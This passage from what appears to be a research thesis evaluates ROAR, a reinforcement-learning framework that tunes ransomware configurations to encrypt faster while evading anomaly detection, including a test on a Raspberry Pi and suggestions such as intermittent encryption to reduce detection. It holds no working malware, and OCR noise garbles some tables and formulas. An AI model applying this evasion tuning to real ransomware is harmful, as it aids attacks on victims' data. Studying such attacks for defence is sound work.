uration 3 to configurations 4 and 5 after training. At least between v = 0.00 and v = 0.75,
after which the correlation is partially inverted. Interestingly, the accuracy remains rel-
atively stable while the best configuration is found eventually, and the different settings
mainly differ in the time metrics related to optimal training. Accordingly, the setting
~v = 0.10 is considered best as it has the shortest average training time and the second
lowest number of episodes until the break in behavior occurs while yielding a reasonable
distinction of Q-values for configuration 3 from those of configurations 4 and 5.

Table 5.18: Performance Analysis of Accuracy and Speed for Different Discount Factors
Settings | ATT Acc Eps AQD
~v=0.00| 3224 99.98% 200 168
~v=0.10 | 3124 99.96% 250 184
v=0.20 | 3154 99.96% 300 204
v=0.30| 313.2  99.96% 400 220
v=0.40| 3189 99.93% 500 249
~v=0.60 | 359.4* 99.75% 1200 309
v=0.70 | 398.2 99.98% 2’000 349
v=0.75| 543.8 99.96%* 4’000 410
v=0.80| 596.9 99.96%* 5000 215
~v=0.90 | 857.8*  00.00% - -56
~=1.00| 850.3 00.00% - -312
*one outlier, average of rest

As introduced above, when controlling the number of steps in an episode was evaluated,
the results of experiments adjusting the discount factor did not match the expectations.
More so, quite the opposite appears to be the case, as a direct relation between the steps
in an episode does not seem to exist. Although the agent strives to maximize the rewards
received over an episode, there is a clear break in this strive when the agent switches
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from selecting configuration 4 or 5 to selecting configuration 3 after just a few hundred
episodes, as depicted in Figure 5.22. This break might also happen after a few thousand
episodes, given a different discount factor, as shown in Figure 5.23. However, the discount
factor is likely not the underlying reason for this sudden break but rather a consequence
of the chosen reward design. According to the interplay of positive and negative rewards,
the most critical thing the agent is learning is that the next step must not be detected
at any cost, independent of the number of steps that will follow in the future, as this
would immediately terminate the episode. The learned carefulness would also be another
fortification for the claim that a relation between the individual steps within an episode
does not seem to exist.

Furthermore, considering that configuration 3 has a higher evasion rate than configura-
tion 5 (cf. Table 5.9) but a lower evasion rate than configuration 4, solely following the AD
results would indicate that following configuration 4 would be ideal. Instead, the agent
ultimately follows configuration 3 and will actively switch away from configuration 4. This
is due to the environment being modeled so that the agent will prefer faster encryption by
rewarding higher encryption rates with a higher reward. Given that the encryption rate of
configuration 3 is more than twice as high as the rate of configuration 4, it is obvious why
the agent would prefer configuration 3 in its strive for maximized rewards. With that in
mind, achieving the best performance with a low discount factor makes much more sense
as the agent tries to maximize its immediate rewards for faster encryption. Eliminating
positive per-step rewards and punishing detection while remaining hidden would yield a
neutral zero reward could be a possible mitigation. The positive reward would only follow
as the bonus reward for achieving full encryption.

Activation Functions. The evaluated set of activation functions contained the logistic,
ReLU, and SiLU activations. Table 5.19 lists the metrics of the accuracy computations
for all combinations of activation functions. The table clearly shows that the choice of
activation functions significantly impacts the average training time. As shown in the
table, involving the logistic activation function heavily increases the time required for
training the agent. It further leads to learning reasonable but non-optimal configurations,

Table 5.19: Performance Analysis of Accuracy and Speed for Different Activation Func-
tions

Settings ATT Acc Eps AQD
Log - Log 782.8  00.00% - -0.004**
Log - ReLU 780.2  00.00% - -345

Log - SiLU 543.8  99.96% 4’000 410

ReLU - Log 776.1  00.00% -0.001%**
ReLU - ReLU | 771.4  00.00%* - -349*
ReLU - SiLU | 321.3* 91.36% < 50 511
SiLU - Log 961.7  00.00% - -0.003%* **

SiLU - ReLU | 316.6% 95.64% < 50 507*
SiLU - SiLU 314.7  91.41%* < 50 507
*one outlier, average of rest

**Q-values in range [0, 1] for Log
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Listing 5.1: Overflow Warning for Activation Functions SiLU-ReLLU

vb/agent/model .py:31: RuntimeWarning: overflow encountered in exp
hiddenl = adalinel / (1 + np.exp(-adalinel)) # S%<LU activation

Listing 5.2: Overflow Warning for Activation Functions ReLU-SiLU

v5/agent/model .py:43: RuntimeWarning: overflow encountered in exp
q = adaline2 / (1 + np.exp(-adaline2)) # h2, SiLU activation, z*sig
(z) = z/(1+e"-z)

suggesting an improper representation of the current state within the neural network after
logistic activation. Most likely, the range of values for logistic activation, i.e., o(z) € [0, 1],
is not large enough to properly distinguish configurations with similar performance.

Contrary to logistic activation, including SiLLU activation decreased the training dura-
tion in most cases. Additionally, the only combinations leading to learning the known
best configuration featured SiLU activation somehow. The main trade-off derived from
the metrics is between training duration and prediction accuracy. The best accuracy is
achieved with the combination of Logistic-SiLU. In contrast, the combination of SiLLU-
SiLU is the fastest in average training time, yielding reasonably high yet dissatisfying
accuracy. The next best alternative is the combination of SiLU-ReLU, the second fastest
variant with clearly better accuracy, having an equal average Q-value difference, and re-
quiring the same number of episodes to find configuration 3. However, this combination
throws runtime warnings (cf. Listing 5.1) due to reaching too high values within the
neural network that cause overflows during the computation of the SiLU activation. The
same goes for the combination ReLLU-SiLU, which throws a warning when computing the
Q-values, as is shown in Listing 5.2. The remaining combination Log-SiLLU is the one
that was initially chosen. Even though it finishes training nowhere near the shortest re-
ported time, it provides the best accuracy and a sufficiently great distinction of Q-values.
From the available combinations, this one is the best trade-off that does not throw any
overflow warnings because it includes the logistic activation at the beginning to normalize
the values fed to the SiLLU activation, thus significantly reducing the value range of the
final Q-values. Furthermore, SiLU should be preferred over ReLU as it fixes the “dying
ReLU” problem and allows for slightly negative values that help reduce the absolute val-
ues passed through the model. The drawback is the possibility of causing overflows, a
considerable time increase, and a slower convergence. Accordingly, alternative activation
functions might prove more powerful and more performant.

Neurons in Hidden Layer. When looking at the results for the analyzed set of hidden
neuron settings listed in Table 5.20, there is not an enormous impact on the required time
for training as the reported average training time is generally very similar. However, the
baseline number of 30 hidden neurons is undoubtedly an outlier, the reason for which
remains unknown. Multiple executions of the same experiment yielded similarly high
training times with almost identical results. Thus, when looking solely at the average
training time for the evaluated settings, there appear to exist (at least) two optima: one
around 25 and one around 40 to 45 hidden neurons for an input size of 50 neurons,
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Table 5.20: Performance Analysis of Accuracy and Speed for Different Numbers of Hidden

Neurons
Settings | ATT Acc Eps AQD

h=10 | 351.6 99.89% <50 445
h=20 | 3375 99.86% < 50 445
h=25 | 322.0 99.86% <50 445
h =30 | 543.8 99.96% 4’000 410
h=35 | 315.3 99.86% < 50 447
h=40 | 306.2 99.93% <50 440
h=45 | 305.8 99.93% <50 418
h=50 | 310.5 99.93% <50 261*
h =100 | 308.5% 99.96% < 50 105
*one outlier, average of rest

i.e., fingerprint features. Both have very similar differences in the final Q-values and the
number of episodes required to find configuration 3. Nevertheless, the variant with A = 40
is considered best as training takes shorter on average than with 25 hidden neurons and
achieves higher accuracy. Also, it produces a higher distinction of the final Q-values than
the setting h = 45 at the cost of only a couple of seconds.

Weight Initialization. In this series of experiments, three different methods for initializ-
ing the neural network weights are considered: plain random-uniform distribution, Xavier
uniform distribution (applied from version 3 onward), and He initialization (applied in ver-
sion 5). The biases were always initialized to be 0, irrespective of the weight initialization
method used.

The plain uniform initialization randomly selects weights from a uniform distribution in
the range [0, 1]. This initialization method was applied in prototype version 2 to construct
the proof of concept.

The Xavier initialization [99] (also called “Glorot initialization,” both named after the
author Xavier Glorot) is similar to the uniform initialization because it also selects random
weights from an appropriately scaled uniform distribution. However, in this version, the
distribution range is different as it is dynamically scaled according to the dimensions of
the previous layer as stated in Equation 5.7, i.e., it contains the number of input features
present in the fingerprint after preprocessing. In addition, this initialization assumes a
linear activation, which is not the case for activations like ReLLU, and it may not be very
well suited. As detailed in Algorithm 5.7, the Xavier initialization method was applied
across all prototype versions from version 3 onward.

w ~ Ul—s,s]

(5.7)

s = | D = size(prev layer)

[—s

1
VD
Lastly, He initialization [100] chooses a different approach by not using a uniform distribu-
tion. Instead, it generates random numbers selected from a standard normal distribution.
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Algorithm 5.7 Xavier Weight Initialization in the Custom Model Implementation
Require: receive network dimensions in Model constructor

1: import numpy as np

2: function INITIALIZE_NETWORK

3 sl =1 / np.sqrt(num_input)
wl = np.random.uniform(-s1, +s1), (num_input, num_hidden))
s2 = 1 / np.sqrt(num_hidden)
w2 = np.random.uniform(-s2, +s2, (num_hidden, num_output))
bias_w1 = np.zeros((num_hidden, 1))
bias_w2 = np.zeros((num_output, 1))

9: return wl, w2, bias_wl, bias_w2
10: end function

Algorithm 5.8 He Weight Initialization in the Custom Model Implementation
Require: receive network dimensions in Model constructor
1: import numpy as np
2: function INITIALIZE_NETWORK
3: nl = num_input > number of nodes in previous layer

4: n2 = num_hidden

5: n3d = num_output

6: stdl = math.sqrt(2.0 / nl) > calculate range for weights
7 std2 = math.sqrt(2.0 / n2)

8: numbersl = np.random.randn(nl, n2) > generate random numbers
9: numbers2 = np.random.randn(n2, n3)

10: wl = numbersl * stdl > scale to desired range
11: w2 = numbers2 * std2

12: bias_w1 = np.zeros((num_hidden, 1))

13: bias_w2 = np.zeros((num_output, 1))

14: return wl, w2, bias_w1, bias_w2

15: end function

It scales them according to a scalar similar to the one used in Xavier initialization, except
it replaces the one with a two, as shown in Equation 5.8. This adjustment addresses
the rectifier nonlinearities and allows dropping the assumption of linear activation. It is,
therefore, better suited for activation functions like ReLLU or SiLU. The He weight initial-
ization method shown in Algorithm 5.8 was applied in version 5 as part of the experiments
comparing different weight initialization methods and the optimized version 8.

w e~ Ny—gg=1%5

(5.8)

s = size(prev layer)

2
= —|D
5 |

Finally, comparing the run results for the different weight initializations listed in Table 5.21
requires some explanation. In the upper part of the table, the results for the baseline
settings are shown; that is, these runs featured an exploration of ¢ = 0.1, = 0.01.
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Table 5.21: Performance Analysis of Accuracy and Speed for Different Weights Initializa-

tion Methods
Settings ATT Acc Eps AQD

Uniform 502.8 99.96% 4’000 388
Xavier 508.8  99.96% 4’000 340%*
He 762.4 100.00% 7800 186
Uniform,—g4 | 415.1  99.86% 100 341
Xavierc—og4 | 373.1  99.89% 150 373
He.—o.4 368.0 99.79% <50 539

one outlier, average of rest

*

However, the resulting training time for He initialization is much higher than for those
methods involving uniform distribution, which apparently would not support the claim
that He initialization is better suited for nonlinear activation.

Accordingly, another set of experiments was constructed with different exploration set-
tings, € = 0.4, = 0.01, following the evaluation of various exploration settings described
above. This time, the He initialization method was slightly faster regarding the average
training time and the number of episodes required to find the best configuration. Also, it
yielded a clearer distinction of Q-values yet produced a marginally lower accuracy than
the other initialization methods. The results suggest that the choice of weight initial-
ization is not of utmost importance for the problem at hand, and the analyzed methods
perform comparably well. Since the time required for training is of greater importance
in an attack scenario given these other results — and because it should be a better fit
for nonlinear activation functions like SiLU — the He weight initialization was chosen for
implementation in the optimized prototype.

5.4 SARSA Prototype

After successfully implementing Deep Q-learning, comparing it to a different RL algorithm
was required for proper evaluation. Therefore, the SARSA prototype picks up from the
Q-learning prototype at version 4 and follows the same steps in development, i.e., it starts
with the advanced preprocessor for AD for performance rewards and then replaces it with
manual selection in ideal AD as was done in prototype version 5.

5.4.1 V6 Comparing Performance

Prototype version 6 implements a Deep SARSA algorithm to compare RL techniques,
i.e., Q-learning and SARSA, regarding learning speed and earned rewards. It adopts the
environment simulation of prototype version 4 to simulate an artificial data corpus but
replaces the underlying Q-learning RL algorithm with a SARSA implementation.
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Algorithm 5.9 Pseudocode SARSA Algorithm
1: Initialize parameters: learning rate o € (0, 1], discount factor v € [0, 1], small € > 0
2: Initialize state-action pairs Q(s,a)Vs € S,a € A(s) where Q(Sterminai,—) = 0
3: for every episode do

4: Initialize starting state .S

5: Select action A from state S using policy 7(a|S) > e.g., e-greedy
6: for step in episode do

7 Take selected action A

8: Observe reward R and next state S’ from environment

9: Select action A’ from state S’ using policy 7(a|S") > e.g., e-greedy
10: Update Q(S, A) «+ Q(S, A) + oz[R +7Q(S,A") —Q(S, A)]

11: S« SA— A

12: if S is terminal then

13: break

14: end if

15: end for

16: end for

Concepts of SARSA

From a high-level perspective, SARSA is very similar to Q-learning. The agent also learns
an action-value function (S, A) to estimate the value of an action in a given state at a
particular time step and uses the estimates to select the best action. However, SARSA
distinguishes itself from Q-learning in that it is an on-policy temporal difference control
algorithm and is defined by Q(S;, A;) < Q(St, A) +« [Rtﬂ +v Q(St41, Ary1) — QS At)] .
Nevertheless, the same convergence criteria for @) apply as in Q-learning [12].

Following Algorithm 5.9, the global initialization of episodes is identical to Q-learning:
first, the hyperparameters a, 7, and € must be defined where e again depends on the
policy m(alS) to be used. Second, the set of available states and actions, as well as
valid combinations thereof, are initialized, with terminal states fulfilling the condition

Q(Sterminala) =0.

After the global initialization, the episodes are processed. Again, initializing some starting
state S must precede the loop over the steps. In contrast to Q-learning, SARSA also
requires the initialization of an initial action A from the chosen starting state S at the
beginning of every episode. The initialization is necessary because of the nature of the
algorithm and how it handles updating states and actions from one step to another, which
will become more evident in the explanation of the step details below.

The loop over all steps in the given episode is terminated once a terminal state is reached.
Each step contains four essential activities:
1. taking the previously chosen action A and observing the reward R and next state

S’ as presented by the environment;

2. choosing the next action A’ for the observed next state S’ following a certain policy;
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3. updating the action-value function Q(S,A) according to the presented reward R
and the estimation error Q(S’, A’) — Q(S, A);

4. iterating states by setting the next state S’ as the current state S and the chosen
next action A’ as the current action A.

Comparing the first activity with Q-learning, it becomes obvious why the initial action
must be chosen before starting the first step of the episode and that the action selection is
thus handled differently in SARSA. Given that SARSA stands for which activities happen
in which order during each step, i.e., State-Action-Reward-State-Action, one might say
that — based on its step activities — Q-learning corresponds to SARS. Again, the main
difference is the last A, i.e., the selection of the next action directly after observing the
next state instead of pushing it to the next step. This also has a direct influence on the
third activity, where the estimation error Q(S’, A’) — Q(S, A) is to be calculated from
the chosen next action A’ instead of the best action a in the next state S’ as is done in
Q-learning. Since the best action for state S’ is irrelevant, and the error only relies on the
chosen action A’, this difference highlights the on-policy approach inherent to SARSA as
it will always learn from the actions it had predicted.

Implementing SARSA in ROAR

Apart from the algorithm-specific changes regarding the order of activities and iterating
steps, the rest of the Deep SARSA implementation is mostly identical to the Deep Q-
learning implementation. Prototype version 6 aggregates the different changes developed
over the previous prototypes and employs the latest version of Q-learning as described in
Subsection 5.3.2. The aggregated implementation details include the following:

e applying advanced preprocessing of fingerprints used in AD and action prediction
by dropping time-related, constant, unstable, and highly correlated features;

e using a neural network with 50 input neurons, 30 hidden neurons, and 6 output
neurons (see Subsection 5.3.1) due to the reduced fingerprint size;

e utilizing logistic (Equation 5.1) and SiLU (Equation 5.6) activation in predicting
Q-values;

e calculating performance rewards based on v2.1 of the reward functions as described
in Subsection 5.3.1;

e simulating the environment by “encrypting” an artificial data corpus (cf. Subsec-
tion 5.3.2);

e decreasing exploration with every episode according to the same e-greedy policy and
e-decay introduced in Equation 5.5.
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Figure 5.24: Result Plots for Prototype Version 6 over 10’000 Episodes with ¢ = 0.5,
0 =0.01, a = 0.0005, v = 0.75

Results

Figure 5.24 shows the result plots for prototype version 6. This version implements the
SARSA RL algorithm and utilizes the performance rewards version 2.1 introduced in
Subsection 5.3.1. As was to be expected, the results are indeed very similar to those
pictured in Figure 5.16. The figures of both runs featured the same number of episodes
and the same parameters; they only differ in the underlying algorithm they implement.

The effects of variations in the parameters and the number of episodes were already
described in Subsection 5.3.1. Unfortunately, they did not suddenly change when imple-
menting SARSA: the plots still show high fluctuation in received absolute and average
rewards throughout the run. Furthermore, even though the best configuration was found,
as indicated by an accuracy of 99.54% for configuration 3 after training, the agent cannot
correctly converge on the corresponding number of eight steps required for efficient full
encryption of the artificial data corpus.

The details of the accuracy computation for this prototype are listed in Table 5.22. The
mentioned accuracy of 99.54% is stated for configuration 3 at final Q-values of 1.771e+0.2.
The accuracy for each configuration is similar to the corresponding Q-learning imple-
mentation in prototype version 4, whose accuracy is listed in Table 5.12. Interestingly,
however, although the accuracy for configuration 3 is slightly higher in this prototype
here, the corresponding Q-values are lower. In fact, it is the only configuration with lower
Q-values than in version 4; all other configurations have higher Q-values.
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Table 5.22: Accuracy for Prototype Version 6 after 10’000 Episodes with e = 0.5, § = 0.01,
a = 0.0005, vy = 0.75

Configuration Initial Accuracy Trained Accuracy Final Q-Values
Percentage  # Samples | Percentage  # Samples
Config 0 08.39% 235 / 2800 | 00.00% 0/ 2800 1.265e+02
Config 1 08.18% 229 / 2800 | 00.11% 3/ 2800 -9.061e-08
Config 2 09.00% 252 / 2800 | 00.07% 2 / 2800 -5.571e-09
Config 3 08.57% 240 / 2800 | 99.54% 2787 / 2800 1.771e+02
Config 4 11.07% 310 / 2800 | 00.18% 5 / 2800 1.272e+02
Config 5 54.79% 1534 / 2800 | 00.11% 3 /2800 1.259e+-02

5.4.2 V7 SARSA with Ideal AD

Due to prototype version 6 using the same fluctuating AD for reward computation as
prototype version 4, the same irregularities have been observed in the plots of version 6.
Again, many negative rewards in the later stages of the learning phase indicated a negative
impact of the fluctuating AD. Therefore, this prototype extends the previous version 6
in the same way that prototype version 5 extended version 4 to verify whether this issue
could be fixed with a better and more reliable AD model.

To properly compare the impacts of the manual “ideal” AD introduced in Subsection 5.3.3,
prototype version 7 implements the same changes. Correspondingly, this version replaced
the reward computation (v2.1 in Table 5.10) with the ideal AD reward computation, as
documented in Subsection 5.3.3.

Results

Prototype version 7 of the SARSA implementation adopted the ideal AD for the reward
computation, as was analogously done in prototype version 5 of the Q-learning implemen-
tation. The impacts on the result plots for prototype version 5, pictured in Figure 5.20,
are mostly identical to prototype version 7 shown in Figure 5.25. In version 7, there
is a short initial phase of exploring the available configurations for approximately 1200
episodes, followed by the agent realizing that configuration 3 is preferable. From then on,
the agent only strays from the average reward of 179.4 due to occasionally exploring the
state space by selecting a different action than the one corresponding to configuration 3.
Moreover, after 6000 episodes, the exploration probability is already visibly reduced.

When comparing the results of the accuracy computation for version 7 (see Table 5.23)
to the accuracy results reported for version 5 (see Table 5.14), one can see that these
results are again very similar. More so, the same observation previously described in
the results of prototype version 6 can again be made for this version: configuration 3 is
the only configuration with lower Q-values than those reported for version 5; all other
configurations have higher Q-values. This time, however, the accuracy for configuration 3
is slightly lower and in harmony with the lower Q-values.
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Figure 5.25: Result Plots for Prototype Version 7 over 10’000 Episodes with ¢ = 0.5,
0 =0.01, a = 0.0005, v = 0.75

Table 5.23: Accuracy for Prototype Version 7 after 10’000 Episodes with e = 0.5, 6 = 0.01,
a = 0.0005, v = 0.75

Configuration Initial Accuracy Trained Accuracy Final Q-Values
Percentage  # Samples | Percentage  # Samples
Config 0 08.39% 235 / 2800 | 00.04% 1 /2800 3.976e+02
Config 1 08.18% 229 / 2800 | 00.04% 1/ 2800 -4.415e-17
Config 2 09.00% 252 / 2800 | 00.18% 5 / 2800 -1.727e-18
Config 3 08.57% 240 / 2800 | 99.50% 2786 / 2800 5.145e+02
Config 4 11.07% 310 / 2800 | 00.21% 6 / 2800 4.139e+02
Config 5 54.79% 1534 / 2800 | 00.04% 1 /2800 4.208e+02

5.4.3 Prototype Evaluation

Overall, the results for the Q-learning and SARSA prototypes are almost identical. How-
ever, switching the RL algorithm from Q-learning to SARSA apparently results in higher
Q-values. Nevertheless, it does not increase the performance of the learning process or
the agent’s accuracy after training. The lacking improvement is somewhat surprising,
considering the notable difference in performance presented in the example of the Cliff
Walking problem in [12], with SARSA performing significantly better than Q-learning.
However, while it is evident that the order of actions being selected in the Cliff Walking
problem is critical, the results of prototype version 98 presented in Subsection 5.3.4 sug-
gest that there is no such ordering and state-action relation in the problem this work is
trying to solve. Hence, the lack of a difference in the performance of SARSA compared to
the performance of Q-learning may not be a surprise after all. The main factors influenc-
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ing the performance of the agent are thus reduced to the model (hyper-)parameters, of
which the impacts on the training process, when changed, are highlighted and discussed
in Subsection 5.3.5, the prototype evaluation of the Q-learning prototype.

5.5 Optimized Prototype

This prototype combines all the presented findings from previous prototypes and exper-
iments to optimize the overall performance and reduce the minimum required time to
achieve acceptable results. Following the explanations in Subsection 5.3.5, this prototype
version 8 utilizes the ideal AD in its performance-based reward computation as well as
advanced preprocessing of fingerprints in the AD model and Agent class. The parameters
are adopted accordingly; therefore, the model uses an initial exploration probability of
e = 0.4, an e-decay of 6 = 0.01, a learning rate of & = 0.005, and a discount factor
of v = 0.10. The optimized version further features the combination of Logistic - SiLU
as activation functions, a roughly rounded 80% of the number of input features as the
number of neurons in the hidden layer (which corresponds to 40 neurons for an input
size of 50 fingerprint features after advanced preprocessing), and the He initialization
method to initialize the weights of the neural network. Given that the evaluation of the
SARSA prototype in Subsection 5.4.3 did not introduce significant differences to the Q-
learning prototype, the final optimized prototype adopts the Q-learning algorithm in its
implementation as Q-learning was evaluated in much more detail.

5.5.1 Prototype Evaluation

The optimized prototype was first analyzed when trained for 10’000 episodes. The cor-
responding plots are depicted in Figure 5.26, and a potential minimum between 200 and
1’000 required episodes is indicated. Overall, the results for the optimized parameters in
version 8 show a clear improvement in quickly finding the best configuration compared
to the results of the baseline version 5 pictured in Figure 5.23. The higher exploration is
visible in the first few hundred episodes. Because the higher exploration often leads to the
agent selecting an action that is detected, it helps quickly sorting out bad configurations.

According to the suggested minimal required number of episodes lying somewhere between
200 and 1’000 episodes, another set of runs for 200, 500, and 1’000 episodes was analyzed.
Subsequently, after interpreting the results of these runs, a minimum accuracy of 90.00%
was considered a requirement the minimal run must fulfill, and another set of runs for 300
and 400 episodes was appended. To further illustrate the improvements the optimization
of the parameters had on the agent ’s speed and accuracy, the optimized prototype’s
results were compared against runs of the baseline prototype version 5 with an equal
number of episodes. The comparison of the results for each mentioned training duration
is listed in Table 5.24, showing the ATT, the average accuracy of selecting the known
best configuration (i.e., configuration 3), the number of episodes required to find the best
configuration, and the AQD of configuration 3 to configurations 4 and 5.
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Table 5.24: Performance Comparison of Accuracy and Speed for Prototype Versions 8

and 5 for Different Training Durations

Episodes

T
%000

T
8000

T
10000

Prototype Episodes | ATT Acc Eps AQD
vH 200 14.1 00.61% -  -204
300 276 00.39% —  -155

500 37.1 00.29% -  -105

1’000 80.3 00.18% - -67

v8 200 6.0 88.48% 40 43

300 9.4 91.82% 40 76

400 12.2  93.60% 40  64*

500 14.7  94.51% 45 7

1’000 33.7 96.68% 45 78

*

one outlier, average of rest
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With the baseline version 5, the agent is initially stuck with configuration 4. However,
with increased training duration, the Q-values shift towards configuration 3. As is visible
in Figure 5.23, the actual break in behavior occurs around 4’000 episodes. Among the
results for version 8, however, the agent can already find configuration 3 after roughly
40 episodes. It then must train for more or less 300 episodes to reach an accuracy of
91.82% and achieve the goal of more than 90.00% accuracy. For this, the agent requires,
on average, 9.4 minutes, which is a substantial improvement compared to the baseline.
Figure 5.27 shows the results of the baseline prototype when run for 300 episodes, whereas,
for direct comparison, Figure 5.28 shows the results of the optimized prototype. Although
version 5 achieves higher cumulative rewards, it follows the ransomware configuration 4,
which means it encrypts at a lower rate (200 bytes per second) and requires more steps
to reach full target encryption. On the other hand, the optimized version 8 achieves
full encryption in less than half as many steps as it follows the best configuration, i.e.,
configuration 3, with an encryption rate of 500 bytes per second.

5.5.2 Verification in Real Scenario

The optimized prototype has ultimately been evaluated in a real scenario. The ROAR
ransomware was deployed on a Raspberry Pi and was controlled by the RL agent running
on the C&C server. Unlike the other prototype experiments in simulation, the online
evaluation in a real scenario was not executed inside a dedicated VM. Instead, the RL
agent was deployed on a portable device. The specifications of this particular Lenovo
laptop and the Raspberry Pi have been described in more detail in Section 4.3. The
online evaluation of prototype version 8 adopted the structure of previous experiments,
and an untrained agent was trained for 300 episodes on fingerprints collected directly from
the target device. Moreover, the model parameters of the optimized prototype remained
unchanged.

Figure 5.29 shows the result plots of the online evaluation. The rising EMA of the cu-
mulated received rewards indicates the proper learning behavior of the agent. Like in the
simulations, the agent finds the best configuration after approximately 40 episodes. How-
ever, the first occurrence represents the first episode entirely following configuration 3 and
does not indicate that the agent has decided to stick to it. Due to the exploration proba-
bility declining and reducing the number of selecting worse configurations, one could argue
that the agent is trying to keep selecting configuration 3 somewhere around 120 episodes.
After this threshold, the number of cumulated rewards near the expected optimum visibly
increases.

The environment in the online evaluation has been slightly adjusted to consider the varying
encryption rate reported by the ransomware. Although the rate is limited, that does not
mean it is fixed. Also, since the fingerprints are actively collected and not simulated
with an assumed time interval of one second, the steps have an average interval of seven
seconds. Lastly, the corpus size was increased to consider the longer steps and allow
occasional encryption at an unlimited rate (configurations 1 and 2). A final set of 11 files
with a corpus size of 32’519 bytes was selected from the original dataset. Details regarding
the specific files and the collection process can be found in Appendix A. Considering the
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new corpus size, when exclusively following configuration 3 with an encryption rate of 500
bytes per second, the agent is expected to take ten steps to reach full encryption of the
corpus (see Equation 5.9).

32519 bytes

500 Bps 65.038s = 10 steps of 7s each (5.9)

Following Equation 5.10, taking ten steps would result in an average reward of approxi-
mately 156 when reaching full encryption. Higher rewards than the expected average can
occur, for example, if a configuration with a higher limit was followed previously and the
limitation has yet to take effect. At the same time, the environment already processed
the reported encryption rate in the reward computation. Naturally, a higher reported
encryption rate implies higher rewards the environment returns according to the result
functions presented in Subsection 5.3.1.

9 % 62.166 + 1 * 1000 bonus = 1559.494 = avg 155.9494 for 10 steps (5.10)

Finally, Table 5.25 shows the metrics collected for the online evaluation and compares
them against the metrics of previous evaluations in simulation. The results generally look
promising: although the average training takes substantially longer, this was expected
and cannot be directly compared to the simulation given the interval of approximately
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Table 5.25: Performance Comparison of Accuracy and Speed for Prototypes Version 8 in
Offline and Online Setting

Setting Episodes Corpus Size ‘ ATT Acc Eps AQD

offline 300 4000 bytes 9.4  91.82% 40 76

online 300 32519 bytes | 341.8 91.96% 40* 38

*first episode entirely following configuration 3.

Table 5.26: Comparison of Reported (Average) Accuracy and (Average) Training Time
over all Prototypes

Version | Best Configuration Accuracy  Episodes ATT
v2 0 84.04% 1000 (steps) 7.1 min
v3 3 00.07% 10’000 238.8 min
v4 3 99.46% 10’000 240.2 min
) 3 99.57% 10’000 390.8 min
v98 3 99.93% 10’000 439.2 min
v6 3 99.54% 10’000 208.0 min
V7 3 99.50% 10’000 371.8 min
v8 3 91.82%* 300 (sim) 9.4 min*

3 98.43%* 2’000 (sim) 83.3 min*
3 91.96% 300 (real)  341.8 min

*averaged over all runs

seven seconds when collecting fingerprints. However, the accuracy achieved after training
is similar and even slightly better for the real scenario. The number of episodes to find
the best configuration is approximately equal, yet the agent requires more episodes to
follow configuration 3 in the online evaluation. Lastly, the final Q-values after training on
data collected from the target device lie closer together. The distinction of the individual
configurations, i.e., separating the best configuration from the others, is possible but more
complex than in the offline setting.

5.6 Prototype Comparison

Table 5.26 presents an overview of the reported (averaged) accuracy results and corre-
sponding (average) training times, stating the known best configuration and the number
of episodes in training. Given equal training of 10’000 episodes, almost all versions of
the Q-learning and SARSA prototypes (versions 4 to 7) achieve similar accuracy of ap-
proximately 99.52% on average for the best configuration. The exceptions are prototype
versions 2, 3, and 98. Prototype version 2 had an entirely different setup and learned
another configuration, so the comparison in such a way is difficult. In the case of proto-
type version 3, the agent was significantly impacted by the “dying ReLU” problem that
was later solved by version 4 (hence the improved accuracy). Lastly, prototype version 98
achieved the highest accuracy yet took the longest for its training. Of the remaining pro-
totypes, prototype version 6 achieved the second-best accuracy of 99.54% with a training
time approximately half that of prototype version 5, which achieved only slightly higher
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accuracy. It is thus fair to say that the SARSA prototype version 6 performs best among
these versions. However, it may not perform better than the optimized prototype ver-
sion 8, which achieves an acceptable average accuracy of 91.82% after 9.4 minutes on
average (for 300 episodes) and a comparably high accuracy of 98.43% after 83.3 minutes
on average (for 2’000 episodes).
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Chapter 6

Limitations

In this chapter, known limitations of the decisions made and results produced in this work
are listed and discussed. Known limitations encompass aspects of the environment and
the RL agent, such as the AD and available ransomware configurations or the structure
and number of hidden neurons in the neural network, respectively. The aim is to explain
why they are limitations in the first place, investigate why they occur, and lastly, how
they could be addressed.

It must be clear that this work is (one of) the first to try and solve the particular problem
of optimizing the impact of ransomware on a resource-constrained target device with the
help of RL. From the start, the focus was on achieving viable results and conceptually
proving that the problem could be solved as intended. Accordingly, the performance of
the extended ransomware and RL framework proposed in this work is impacted by using
file-based inter-process communication and state storage. Given that the results of the
optimized RL prototype feature average training times of a few minutes, there might be
room for improvement. In particular, it might be possible to speed up the RL learning by
optimizing the time required for retrieving fingerprints and encryption rates from storage
or reducing the number of read and write operations and, therefore, the likelihood of
detection by AD with reducing file I/Os on the target device. Especially regarding the
latter, intermittent encryption would speed up the encryption process and reduce the
number of write operations on targeted files.

Furthermore, the results presented in this work are limited to this specific problem and
setup, meaning they may only be partially transferable to a different problem or environ-
ment. That may include aspects like the type of target device used and collected device
behavior data or choices made regarding the AD model and structure of the neural net-
work used on the RL agent. Specifically, the number of neurons in the hidden layer of the
chosen neural network should be considered an implementation detail that depends on
the specific problem and its implications, such as the number of features in the fingerprint
being fed as input to the neural network. On a different note, one could argue that the
available ransomware configurations limited the obtainable results and that better results
might have been produced with a wider variety of available configurations. In that regard,
it could prove beneficial to introduce a secondary problem of finding the optimal config-
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uration and letting the agent learn the best combination of parameters in some form of
grid search.

Lastly, as was previously addressed in Subsections 5.3.3 and 5.3.5, the final AD model
applied in this work still has potential for improvements. However, one must remember
that applying a defense mechanism like AD for an offensive purpose implicates conflicting
design goals. First is the quality aspect, where striving for perfect classification of normal
behavior is desirable to have a good “opponent” to train against and ensure high evasion
quality. Nonetheless, there is also the aspect of launching a successful attack, in which
the attacker would desire bad anomaly detection performance to ensure the success of
the ransomware while having low fluctuation in detected and hidden behavior, therefore
facilitating the learning process for the agent. What seems to be a trade-off should be a
clear decision in favor of high AD performance, as the resulting restrictions on behavioral
impacts interplay with the ransomware configurations available to the agent’s choosing.
Having suitable configurations available, in turn, loops back to the idea of dynamically
constructing an optimal ransomware configuration.



Chapter 7

Conclusions

This work proposes ROAR, a framework to dynamically optimize the impact of config-
urable ransomware with RL while avoiding dynamic AD defense mechanisms. The RL
framework encompasses an agent running on a dedicated C&C server, and the environ-
ment, consisting of the target device (i.e., the ransomware client) and anything else that
is not considered part of the agent (e.g., the API or reward computation).

ROAR features its own implementation of an AD model used in the offensive setting. It
tries to mimic a different AD model suspected to be deployed as a defense mechanism on
the target device. It is important to note that although ROAR indirectly targets an ML
model, it differs from existing adversarial attacks because the vectors passed to the model
under attack are not directly modified. Instead, ROAR can only indirectly influence the
